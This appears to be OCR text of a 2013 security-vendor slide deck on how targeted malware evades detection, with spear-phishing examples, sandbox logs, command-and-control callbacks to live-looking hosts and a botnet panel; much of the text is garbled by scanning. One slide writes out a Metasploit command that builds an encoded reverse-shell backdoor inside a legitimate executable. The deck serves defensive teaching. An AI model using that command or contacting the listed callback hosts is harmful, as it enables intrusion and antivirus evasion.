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How can a zero-day threat
evade detection with
today’'s modern security
technologies?

Jason Steer — EMEA Product Manager




1. ATTACK DIFFICULTY

/8% OF ATTACKS WERE LOW
OR VERY LOW IN DIFFICULTY

HIGH | 1(0%)

MODERATE
Low
vEryLow | LILEN

EVEN ESPIONAGE LEVERAGED BASIC TECHNIQUES:
95% OF ESPIONAGE RELIED ON PHISHING
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2. GROWING TIME TO BREACH DISCOVERY

66% OF CASES

WEREN'T
DISCOVERED
FOR MONTHS OR
EVEN YEARS.

UP FROM 56% THE YEAR BEFORE
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DOD Report to Congress April 2013

e China is using its computer network exploitation
(CNE) capability to support intelligence
collection against the U.S. diplomatic, economic,
and defense industrial base sectors that support
U.S. national defense programs. The information
targeted could potentially be used to benefit
China’s defense industry, high technology
Industries, policymaker interest in US leadership
thinking on key China issues, and military
planners building a picture of U.S. network
defense networks, logistics, and related military
capabilities that could be exploited

Source: DOD Annual Report to Congress: Military and Security }3 _ ‘
Developments Involving the People’s Republic of China <©Firekye
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The Most Targeted Industry Verticals

Industry Average Events Per Customer Second Half 2012

Technology

Telecommunications
Logistics/Transportation
Manufacturing
Banking/Finance/Insurance
Business Services
Healthcare

Other

Entertainment/Media
Government/Federal
Energy/Utilities

Legal
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Is this a threat to my CEO?

From Selina Lin <selina92_tw@yahoo.com=1 4 Reply| 4 Reply All|~| = Forward | & Archive ;
Subject Hoping to get your advice ! 8/9/2012 8:44 AM .
To tom.nugent@lasermotive.com <tom.nugent@Ilasermotive.com L.
Message 1D <1344494655.10788.YahooMailNeo@web194904. mail.sg3.vahoo.com:
Inreply to <1344485514.19388.YahooMailNeo@web194304.mail.sa3.yahoo.com=

References =1344485514.19388 YahooMailNeo@web194904.mail.sg3.yahoo.com=

K-Account-Key account4 -

Hello Mr. Tom Nugent,

I hope you can see this letter, I am a student of the Gwangju
Institute of Science and Technology(in South Korea).

In this year's graduation thesis I quoted your articles, but my

mentor told me in many ways I misunderstood what you mean,

but I don't think so.We are arguing for a long time, but are unable

to agree with each other's perspectives, so take the liberty of a letter,
hoping to get your advice.Thank you!

Best wishes!

Selina
4 @1 attachment: Effects of Correlated Noises on Dynamic Properties of a Single-Mode Laser.doc 737 KB ¥ Save t }') .
® Effects of Correlated Noises on Dynamic Properties of a Single-Mode Laser.doc 737 KB E:} FI FEEye
L] :
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Is this a threat to my CEO?

Heapspraying
Heapspraying
Heapspraying

Malicious Alert
Exploitcode

Malicious Alert

File
File

Exploitcode

File
Malicious Alert
File

APT Call

File
File

PatternAnalysis
PatternAnalysis
Allocation

Misc Anomaly

Misc Anomaly

Created

Cloze

Created
Misc Anomaly

Cloze

Created

Close

Address: 0x08480000
Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe

Address: 0x08450000
Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe

Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe
Bytes Received: 0 Total Memory: 164442112

Detail: Heap spray attack detected

API Name: VirtualAlloc Address: 0x04b600d1
Imagepath: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe DLL Name: kernel32

Call Stack:
Frame Mo. Instruction Addr. Module Name
3 Ox7cB0%aes CHWINDOWS\systemn 32\ kernel32.4d1

Message: Exploit capabilities detected

CADOCUME~1INVADMINI~ 1N OCALS~1\TemphAcroRd32.exe

CDOCUME~IVADMINI~1INLOCALS~ 1 TemphAcroRd32.exe
MDS5: ae07eedds5f991706a5946252d97d134f
SHAL: 7b4f325c435656c0d5810021df1203d34d7d87db

API Name: WinExec Address: 0x04f100f1
Params: [C:\DOCUME~1\ADMINI~1\ OCALS~1\Temp'AcroRd32.exe, 0x00000000]
Imagepsth: c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe DLL Name: kernel32

Call Stack:
Frame Mo. Instruction Addr. Module Name
3 0x7cB8623b2 CAWINDOWS \system 324 kernel32.dI1
4 0x04f100f1
5 0x009494f5

CWINDOWS\system32\utntweep.dll

Message: System services modified Detail: Mew exe/dll/sys/ocx file created under WINDOWS or SYSTEM32 directories

COWINDOWS\system 3 2\utntweep.dll
MDS: 5013348fd69e9758a%f6db5S6955b74ca
SHAL: 3caba24llecdccd22bdb2d65a3212d1e08037edb

API Name: WaitForMultipleObjectsEx  Address: Ox77dfge0l

Params: [2, Ox00ceff6c, 0, 300000, 1]

Imagepath: CADOCUME~1VADMINI~1\LOCALS~1\Temp\AcroRd32.exe DLL Name: kernel32
COWINDOWS\system32\goopnet.ini

C:\WINDOWS\system32\goopnet.ini
MD5: 251006d61666b851781073562016da6f
SHA1: b310b4770e7842a1790c5c4%e06ab59bc2dfb24d

® Effects of Correlated Noises on Dynamic Properties of a Single-Mode Laser.doc 737 KB

L]

N
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RSA — It took a single Email

il 92 0 + -5 -

- = e _ 3% [ Rules Bl W
4 Ignore ﬁx _% _@ _% [k Meeting Ll @] OneNote [ ‘

%Junkv Delete | Reply Reply Forward iﬁ,;l Mare = Maove _ Mark Categorize Fol
All - [ Actions ~ | Unread -~ u
Delete Fespond Move Tags
From: web master <webmaster @beyond. com=
To: gilbert_david@emc.com
Cc Patonai, Peter; Brisson, Kevin; Kuehne, Paul (SAL BlueBell)
Subject: 2011 Recruitment plan

I forward this file to you for review. Please open and view it

)
<COF; reEye
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Different email for every targetted campaign

| = “7 U % # |5 Tibetan in Delhi Sets Self Alight to... = | = 2 A= 7 U % + |5 Tibetan in Delhi Sets Self Alight t... | = | (E] g

-

Message &3 9 File | Message & ﬂ

& (-4 Reply &l ,_c; B e A 'Z_{ & 4 Reply - ?; 5| | v &4 ':—%

Reply All Reply All

+ Delete ;- CQuick Move | Tags |Editing Zoom + Delete - Quick Move | Tags | Editing| Zoom
& i Forward = Steps - - - - & i) Forward = Steps ~ - - -

Delete Respond Quick Steps s Zoom Delete Respond Quick Steps Zoom
From: t.tenzin <t.tenzin@agmx. com = sent:  Sat 3/31/2012 10:40 AM From: fomchan <fomchan@agmx.com = sent:  5at 3/31/2012 9:19 AM
To: sonam_tend88@yahoo.com To: kalsang_dechen@yahoo.co.in
Cc Ceo
Subject: Tibetan in Delhi Sets Self Alight to Protest Chinese Leader; s Visit Subject: Tibetan in Delhi Sets Self Alight to Protest Chinese Leader; s Visit
Attachments: B 1jpetan in Delhi Sets Self Alight to Protest Chinese Leader's Visit.doc (1 f [ Attachments: B 1ipetan in Delni Sets Self Alight to Protest Chinese Leader's Visit.doc |

i £
A protest march in New Delhitook a dramatic turn after a Tibetan A protest march in New Delhitook a dramatic turn after a Tibetan

exile self-immolated Monday afternoon. exile self-immolated Monday afternoon.




The attacker does not realize why failures occur

From Swedishdaobeijing <swedishdaobeijing@foreign.ministry.se > 1.

ubject Fw: China in economic crisis 2012 - News and Views from around the world

o
fej!
Jversinder mejl enl

fanliga halsningar,
aroline

wedish Defence At

“olonel Martin Bodil
Jirs Caroline Frindt,

wedishdaobeijingg
—- Forwarded by Carc

rom: "WorldPress
o: swedishdaobei]
rate: 2012-01-181
ubject: China in el

Vorldpress.org offt
F you are interestec

Sign up for our daily
iewspapers from &

Norldpress.org

ste 103, 500 Uni
el (781) 638-905
“mail: tschure@

@1 attachment: China in economic crisis 2012.doc 278 KB

Copyright © 2013, FireEye, Inc. All rights reserved. |

2/21/2012 10:46 AM

From Swedishdaobeijing <swedishdaobeijing@foreign.ministry.se > L.

Subject Fw: U.S. aircraft carrier battle groups will be reduced to nine 2/21/2012 10:43 AM

rist@mil.se 1 Other Actions - 1qvist@mil.se Other Actions ~
2 . s | :
Ald9 U + + |- Stnemmersmrsn. o (B B T d9 o « + = -7 -
File | Message o @ File | Message
- - -
: Feply I ; [ sy Reply ¢
= ] ﬁ‘* = I'E ? % H"—ﬁ L] ﬁ* I'[ |
Reply Al - (=& Reply Al E i
& - Delete | _ - Quick Move | Tags Editing Zoom & - Delete | _ -
kg Forward Steps * - - - kg Forward !
Delete Fespond Quick 5... s Zoom Delete Fespond
From: alen =zallen_cho@seed.net. tw > sent: Maon 4/2/2012 11:03 AM From: uU3a2725@msa.hinet.net
To: @doh. gow. tw To: @doh. gow. tw yse”
- -
subject:  EEOSHEARFARFRIES e AL
Attachments: ) s3] & EROEAPOBRTRE Xis (155 KB) Attachments: - (2] 2 BRH s (84 KB]
) . ix
FEO SRS RS o
ircra
nd of
= .
R e
aore
;aircraft

CONFIDENTIAL

& Save -

carrier in 2015 only served to reduce spending, the U(http://www(Military News
http://www.f-paper.com/).f-paper.com/).S. military response this should move. reported
that, according to the Chief of Naval Operations Department recently disclosed memo, No. 9
Washington Carrier Strike Group will move to the northwest of the Everett base of San
Diego, California base to compensate for the December 7 aircraft carrier battle group after

tha diccnlutinn af tha aan whila Ma 7 rarriar hattla arnone attachad tatha '"RBanald RPaaoan

b @1 attachment: Us_Aricraftdoc 189 KB & Save -




AV detection remains inconsistent

CWE 2009 3129 type:document @ Selectall @ Unselect all Download -
1 % [+ o CsV
Sample Positives First submission Lastsubmissior Submissions Sources File size
533bf4£2540d£945caadEbbabf428c873f5cccdE5aalldadzcafdedfcTlZbiac
2012-03-30 2012-03-30
£451691730835017abb0bde55b534bb
B |- FeSmenEERReE 150042 433815 13:38:15 1 1 710KB
0f046fc3e4fa32857a878£6566faabe825bTbi6cn2T0c4£73434a06dbad45bab
D 4231lebZ3feccaiedsTeeciZedi0fse . 18 of 42 52;1025;%2;29 32;1025;%3;29 1 1 154 5 KB
Beacz07433624F3346d%a020547224dd5176362a23352065056082247875cadbs
- - 2012-03-29 2012-03-29
B0254b34306bbE0062431584 7250048l
B | woz e 40142 hgo1se 07:58:33 : ! 214.0KB
3609 CVE- .
ender ploit. CME- MM -Gen 06:41:47 06:41:47 :
F-Sacure Exploit.CVE-20009-3129.Gan
d3eblf  Fortinet MSExcel/CVE_2000_32120.Alaxploit
i — = 2012-03-27 2012-03-27
O #8522 cpata Exploit.CVE-2009-3129.Gen 4 of42 10:04:50 10:04:50 1 1 B68.5KB
Jiangmin Heur:Exploit.CVE-2009-3129
feddidq !
McAfee Exploit-MSExcel.u 2012-03-37 2012-03-27
ZeZadl
O “mes McAfee-GW-Edition Heuristic.BehavesLike.Exploit.X97 .CodeExec.O 40f43 07:28:25 07:28:25 1 1 102.0KB
Microsoft Exploit: Win32/CVE-2009-3129
13gack
nProtect Exploit.CVE-2009-2129.Gen 2012-03-27 2012-03-27
LEELES 8 of 42 1 1 145.4 KB
B TrendMicro HEUR_OLEXP.B 044732 04:47.32
p—— TrendMicro-HouseCall HEUR_OLEXP.B
“~" VIPRE Exploit.Excel .CVE-2000-3129 (v) 2012-03-27 2012-03-27
14070
O 1 . T ha0g:56 04:08:56 ! ! BT.9K8
Eb2alibde385ad35d4df565c85003856bETE3f554d108317155534441a40dacs
. 2012-03-27 2012-03-27
£310523235e81172a541 Tcbe54 73685
] 23235e aa cbo547e a0f43 02-19:54 02-19:54 1 1 2092 KB
2dc44d352a532406536bo09abbda7S7e45f1cl4af84ac2el77886259b645629873
- m g - 2012-03-26 2012-03-26
£221708595456%casbe0428£403112a30
B =T - s L, B hg314s 10:37.03 2 1 o0 K8
142457db&6152beda15e58alaTaeflacaddbllcs6be73b0505bd0asa877a855
[l | 1007203e41c21=58068b73£5dac0afsd 4 0f43 2012-03-26 2012-03-26 1 1 70.0KB

)
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What does an attacker need to do?

« # msfpayload windows/shell/reverse tcp
LHOST=192.168.1.13 LPORT=31337 R | msfencode -b "x00'
-t raw -e x86/shikata_ga nai -c 20 | msfencode -e
x86/countdown -c 5 -t raw | msfencode -x Coreinfo.exe -t exe
-e x86/shikata_ga nai -c 20 -o Coreinfo_back.exe

 # md>5 Coreinfo_back.exe

« MD5 (Coreinfo_back.exe)
= 7e0fb07a39f8b19d346fd967f66b25c5

o https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a6
2264be6000ff6ff2414bb08al218a57bf3174a188/analysis/137
0018768/

 Detection ratio 26/46

)
<COF; reEye
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https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/
https://www.virustotal.com/en/file/5492c0ebb59bdd9a75267a62264be6000ff6ff2414bb08a1218a57bf3174a188/analysis/1370018768/

Some OS Activity...

Misc Anomaly

Created
Satval

Created
Creataed

Closa

Created

Close

Misc Anomaly

Misc Ancmaly

APT Name: IsDebuggerPresent Address: O0xSad7aleZ
Imagepath: cih\al438284a8d8cadedf122b0a2e772382c.exe DLL Name: kernel3Z2

Message: Malware trying to detect the presence of a debugger Detail: Debugger awareness detected

CADOCUME~1hadmin\LOCALS~1YTemp'__tmp_rar_sfx_access_check 279045

YWREGISTRYWJSERYS-1-53-21-1409082233-688789844-725345542- 1003\ Software\WinRAR SFX\ ' Cou%%DOCUME~ 1%
OCALS~1%Temp" = CADOCUME~1Y\admin\LOCALS~1\Temp

CA\DOCUME~1Yadmin\LOCALS~ 1\ Temp\WINWORD.axea
CADOCUME~1\admin\LOCALS~1\Tempiwins.vbs

AFT Name: SetErrorMode Address: 0x77fe7f4d
Params: [0x00000001]
Imagepath: c:\al0438284a8dBcadedf1l22b0a2e77382¢c.exe DLL Name: kernel32

CADOCUME~1vadminLOCALS~1\Tempiwins.vbs
MDS: b491aa87433d6e322f32b30216f172ab5e
SHAL: Dabb61l1ec82db068387 1c395905a26305516a2862

CDOCUME~1Lvadmin\LOCALS~1\Temp'&_Harsh_Winter_for_Sinovel_and_China's_Wind_Industry.doc

CHDOCUME~1Lvadmin\LOCALS~1\Temp'&_Harsh_Winter_for_Sinovel_and_China's_Wind_Industry.doc
MDS: 118260b73caled8d7b6932faldd049f4
SHAL: 78ec94a90e898200ddf97 57 bf2235b356600b6d2S

Address: 0x0000000000000000
Imagepath: c:\al458284a8d8cadedf122b0a2a?73E82c.axa

Message: Direct hardware access detected Detasil: Malware performing direct hardware access
“BaseNamedObjects'_SHuassist.mbx
Message: Trojan.lnjector activity Detail:  Trojan.Injector activity

API Name: Sleep Address: 0x00404b46
Params: [&00000] )
Imagepath: CODOCUME~1\admintLOCALS~1\Temp'WINWORD.exe DLL Name: kernel32 "a) FlreEye;

Misc Ancmaly Message: 10+ sleep calls Detail: Malware calling sleep 10+ times
opyright © 2013, FireEye, Inc. All'rights reserved. ONFIDENTIA 14



Decent Decoy Document

'y

Haome Insert Page Layout References Mailings Review View
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Clipboard ™ Font [
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r‘EE.; = 2 |~ A Harsh_Winter_tor_Sinovel_and_China's_Wind_Industry [Compatility Mode] - Microsoft Wo... - B X
)

AaBbCcDe AaBh( % i

. Change Editing

L2

PL Harsh Winter for Sinovel and China's Wind Industry

The Year of the Dragon has gomen off to an inauspicious start for the Chinese wind industry and in
particular, =movel Wmd Group Co. (ShanghaiioUl338, aka Smovel) Chinas leadmg wind
turbine manufacturer.

In early February, with the official end to the “Spnng Festival™ only days away, Sinovel reported
decidedly chilly preliminary estimates of its FY2011 performance, confirming that Sinovel and
indeed the whole Chinese wind industrv had, in the words of one Chinese wind industrv insider
“entered a winter that would be hard to endure™.

Sinovel cstimated that its net income for FY2011 declined by more than 0% compared with 2010
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14 Start
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Copyright © 2013, FireEye, Inc. All rights reserved. | CONFIDENTIAL

@

T

) A T 1113PM




Decent Decoy Document

a = 2 |~ A Harsh_Winter_for_Sinovel_and_China's_Wind_Industry [Compatiility Mode] - Microsoft Wo... - B X
o ry P
LS )
Haome Insert Page Layout References Mailings Review View @
o £ Times Mew Moman -1 - |EE - 3= - 1=_—_'||§§ -§§| %- a8
R || == prm T x|[5] === =|[i=-| | |ABOCCD| AdBbCeD AaBb(
Paste ; = P 1 T Mormal | T Mo Spaci.. Heading 1 Change | |Editing
F ¥ A-Aa|A 4| B ndIFTAIR T Styles~ || -
Clipboard ™ '  Font [ ' Paragraph [= Styles P
i
W Tweet - 20 Fllke 0 ﬁ Shars | 4 © submit
ndustry

A Harsh Winter for Sinovel and China's Wind Industry _ o
1d industry and in
By Lou Schwartz as lesadmg wind

The Year of the Dragon has gotten off to an inauspicious start for the Chinese wind

industry and in particular, Sinovel Wind Group Co. (Shanghai: 601558, a.k.a. Sinovel), )
China's leading wind turbine manufacturer. Sinovel reported

that Sinovel and
1 industrv insider

In early February, with the official end to the "Spring Festival” only days away, Sinovel
reported decidedly chilly preliminary estimates of its FY2011 performance, confirming that
Sinovel and indeed the whole Chinese wind industry had, in the words of one Chinese
wind industry insider "entered a winter that would be hard to endure”.

AR TR T RAEEALARL REALLE &R EAE AELLEEAN AR A & S E b ASEI ] SEANCE W REALLA o W w‘nparcd with 2010
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APT Callback

Bot Communication Details:

Sarver DNS Mame: sind jezets com Service Port: 80

Direction Command User-Agent Host

GET fhelp.png HTTR/1.1 Business+Mozilla/4.0 (compatible; MSIE

8.0; Win32)

sind.jezets.com

Others Accept: */¥*

« Stage 1 Pingbed Trojan (Comment Team Group; aka. Shady RAT)
* Fetches Stage 2 Dropper via PNG file
* Dropper is XOR encoded inside the zTXt chunk (decoded ex. below)

Offset @ 1 2 3 4 5 6 7 8 9 A B C D E F

apaac24e e D4 D1 72 77 C4 TC Co B4 88 82 42 a8 7A 54 5B 6ﬁrwﬁ|£d B zTX
8Baa5258 74 4D S5A 90 60 83 60 60 00 04 00 00 08 FF FF @@  tMZ Y
aaaac208 68 GBS 60 60 60 68 B8 88 B8 46 60 60 60 60 68 a8 (@
eaaan27a 68 60 68 68 88 88 88 88 88 B8 60 60 60 B0 88 a8

aaaac288 60 60 60 60 60 68 B8 88 B8 B8 B0 60 60 E0 68 a8 8
eBean29a 88 @t 1F BA BE &8 B4 89 (D 21 B8 @1 4C CD 21 54 e i LilT
a8aaB2hA8 68 69 73 28 78 72 6F 67 72 61 6D 28 63 61 BE 6BE his program cann
apaas2868 6F 74 28 62 65 28 72 75 6BE 28 69 BE 28 44 4F 53 ot be run in D05
aaaas2C8 28 6D 6F 64 65 2ZE 8D 80 BA 24 60 60 60 60 a8 a8 mode. %

)
http://www.cyberesi.com/2011/05/ 10/malware-obfuscated-within-pnq-files:@ FireEye
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http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/
http://www.cyberesi.com/2011/05/10/malware-obfuscated-within-png-files/

Evading detection of DNS monitoring

® Server DNS Name: www.dnswatch.info Service Port: 80

Direction Command
GET /dns/dnslookup?la=en&host=goodhope.no-ip.org&type=A&submit=Resolve HTTP/1.1
Others Cache-Control: no-cache

Callback communication observed from VM: Malware: Backdoor.APT.Protux
Server DNS Name: 199.16.199.3 Service Port: 1863

Raw Command

POST http://goodhope.no-ip.org:1863/index.php?id=2959 HTTP/1.1
User-Agent: Mozilla/4.8.20 (compatible; MSIE 5.0.2; Win32)

Content-Type: multipart/form-data; boundary=---------- 605456311F110B89
Host: goodhope.no-ip.org

Content-Length: 272

Proxy-Connection: keep-alive

Pragma: no-cache

—————————— 605456311F110B89

Content-Disposition: form-data; name="UploadFile"; filename="61C2730A.bmp"
Content-Type: application/octet-stream

)
<COF; reEye
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Call backs designed to confuse & mislead

« >100 domains call back in one piece of code
— mnpnbyddmlnaiegwgzpnvupnofbib.net
— mnpnbyddmlnaiegwgzpnvvpnofbib.net
— mnpnbyddmlnaiegwgzpnvwpnofbib.net
— mnpnbyddmlnaiegwgzpnvxpnofbib.net
— mnpnbyddmlnaiegwgzpnvypnofbib.net
— mnpnbyddmlnaiegwgzpnvzpnofbib.net

« \Which one is the real one?

)
<COF; reEye
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http://mnpnbyddmlnaieqwgzpnvvpnofbib.net/
http://mnpnbyddmlnaieqwgzpnvvpnofbib.net/

2013.exe madhack.no-ip.biz

Page: 1of 1 There is one malware analysis for the

2.c) 2013.exe - Process Activities

- Processes Created:

Executable
C:A\WINDOWS\system32\dwwin.exe

C:AWINDOWS\system32\drwisn32.exe

R} ar ' . '

Protocol Type: udp  Qiype: Host Address Hostname: madhadcno-ip.biz
Imagepath: C:\Program Files\Internet Explorer\iexplore.exe
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‘BaseMamedObjects, x ¥ UPDATE X x
‘BaseMamedObjeds, x X PASSWORDLIST X x
‘BaseMamedObjects, » ¥ BLOCKMOUSE ¥ «
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& | 10 |TvpeliM Anatvsis Habaars WM C-EIFIU.IFE pcap 8292 bytes [(texty [(dip) ]

w [ 2475 |exe |¥ Sandbox |Backdoor APTSpylet Analysis L‘IS.. Microsaft Wmd-:wg..'-:.}’ Prnl’lessunnal 5.1 sp2
Archived Objeckt Seba 2bbfo409f307 7 2865ebcOc33e33d.ap

Malware: B Backdoor APT SpyNet

VAE Callback: B Backdoor.AFT.Spylet - )

File Type: exe Message: Process frying to detect the presence of a debugger Detail: Debugger aware

B Malicdous Behavier Observed [k dEtE':tEd

Bot Communication Details: Message: Ant-VM evasion detected (long sleep call) Detail: Process calling Win32 Slea

Server DNS Name: madhack.no-ip.biz Service Port: p{] or SlEEFIEﬁ{} with a |.:||-|g Hmeout

2013.exe has encountered a problem and needs to cloze.
We are sorry for the inconvenience.

[F pou were it the middle of something, the information you were working ok
might be lost.

Pleasze tell Microzoft about thiz problem.

"W'e have created an emror report that you can send bo wz, e will treat
thiz report as confidential and anonymaous.

To zee what data thiz ernor report containg, click here.

Send Ermaor Report
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SpyNet 2.6
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Hacker Group V3nenO Labs display there botnet

weads START
dertinicacion web... Sisterna Operativo CPU RAM -
& vitima_FBCEAN32 1.4 Si Windows XP Professional (Buld 2500 - Service Pack: 30)  AMD Athlon(tm) 84 X2 Dust Core Process 956 M8
% noob_FCE426F2 1.°)( No  Windows 7 (unknown ediion) (Buid 7600) Irtel(R) Core(TM)2 Duo CPU EB400 @ 30 297 GB
\% noch_F2939528 1.7 St Windows 7 Premium (Sulkt 7600) ntel(R) Core(TM)2 Cuo CPU TESTO @ 21.. 40008
% noch_D0000024 2 144 Si Windows 7 Utimate (Buld 7601 - Service Pack: 1.0) Irtel(R) Atom(TM) CPU NAS0 @ 1 BEGHz 1,53 GB
. | ' 0 Windows XP Professional (Buld 2500 « Sarvica Pack: 2.0
(g noch_S8E0D2CEA 1.1 No  Wndows 7 Utimate (Bt 7600) Intel(R) Core(TM)2 Duo CPU E4500 @22..  1,00G8
\‘_)n vitena_CBB1CSE7 1.1 Si Windows 7 Utimate (Buid 7600) rtel(R) Core(TM)2 Duo CPUETSOO @ 29 3,00GB
% vitema_FE92C300 1,14 S| Windows XP Professional (Bulkt 2500 - Sarvice Pack: 30) Penthun(R) Duak-Core CPU ES200 @9 2 50 1,99 GB Paiz [ Te
Gy noch_B0428163 110X No  Windows XP Professianal (Buikt 2600 - Service Pack: 30)  Inte(R) Pentium(R) 4 CPU 320Gz 1.00Ge l l Per
d: noch_B0428163 11X N0 Windows XP Professionsl (Bulkd 2500 - Service Pack: 30)  ntel(R) Pertium(R) 4 CPU 3 20GHz2 1.00GB
S vitima 26847635 .. S Windows 7 Premium (Bulit 7600) ntel(R) Core(TM)2 Cuo CPUPB700 @ 25 387 GB informa
E vitima _285442C0 9.4 SI Windows 7 Utimate (Bulct 7 AMD Sempron(im) S-40 37568 "j 190
8; vitins _382E6AEQ 9.3 N0 Wndows 7 Utimats (Buid 7mvwce Pack: 1.0) Pentium(R) Dual.Core CPUES300 @ 260..  200GB & win
‘:f vitima_0420€735 1. 4 S| Windows 7 Premium (Buld 7600) Intek(R) Core(TM) 5-2410M CPU @) 2 30GHz 3,93 08 W ca
. noch_180F1386 1..4d Si Wndows 7 Utimate (Buld 7600) reei(R) Core(ThH) i3-ZH0OM CPU @ 210GH: 291 GB & Ech
§ nook_TA176183 1.9 N0 Windows 7 Utimete (Buld 7601 . Service Pack: 1.0) AMD Phenom(tm) Il X2 550 Processor 175GB * ESE
% vitima_AS253371 2.1 S Windowz 7 Premium (Bulkt 7500) Cederon(R) Duat-Core CPU T3500 @ 2 10 1 87 GB & o
:‘E nock_S848BF 21 1. No  Windows XP Professional (Buiki 2800 - Service Pack: 20) Genuine Intel(R) CPU 2160 @ 1 B0GHz 1,00 GB @ intel
vitena_C801CCES 1. )\ No  Windows XP Protessional (Bulit 2500 - Service Pack: 310) PentiundR) Dual-Core CPU ES200 €2 2 50 19966 13 RAN
g nock_FBESF 261 1.4 Si  Wndows XP Professional (Buld 2600 - Service Pack: 20)  AMD Athion(tm) Il X2 240 Processor 835 M8 O prm
% vitima _3CES7CC7 I.-&d SI Windows 7 Utimate (Buld 7601 . Sarvice Pack: 1.0) rdel(R) Caleron(R) CPUES300 @ 250GH: 299GB
vitema_ACS378TD 8.1 S Windows 7 Premium (Susct 7600) AMD Athion(tm) Il X2 235e Processor 1.75G8
2:: vitima_SA395A2C 1. 154 Si Windows Vista Home Basic (Buld 8002 - Sarvice Pack AMD Sempron(im) Processor 3400+ 134 GB
3“ vitima_9CEEBES0 1.6 N0 Windows 7 Premium (Bulkd 7601 - Sarvice Pack: 1.0) tel(R) Pertum(R) Dusl CPUE1S0@ 20... 093GB
noob_EOABSESD 2,10 No  Windows XP Protessional (Busid 2600 - Service Pack: 30)  Intel(R) Celeron(R) CPU 430 @ 1 B0GHz 099 GE
g ook _DEDBACED 11X N0 Windows 7 Utimate (Build 7601 - Sarvice Pack: 1.0) rtel(R) Core(TM)2 Duo CPU ES400 @ 30 4,00 GB
} -
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Things we know & learn from APT's

« Keyboard Layout —use of charset GB2312 in emails
 Malware Metadata - source code links to PDB files on dev PC
- Embedded Fonts — font choices give away true origin
 DNS Registration — no surprise

 Language — spelling & grammar errors

« Remote Administration Tool Configuration — every attacker has
their own preference and config options

 Behavior — attackers often re-cycle elements of an attack
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 All organisations have something unique that
makes them competitive to protect

* Current technology layers do not detect &
prevent modern malware

 Reset our mindsets — 1 event could be
enough now to present a major risk to a
business
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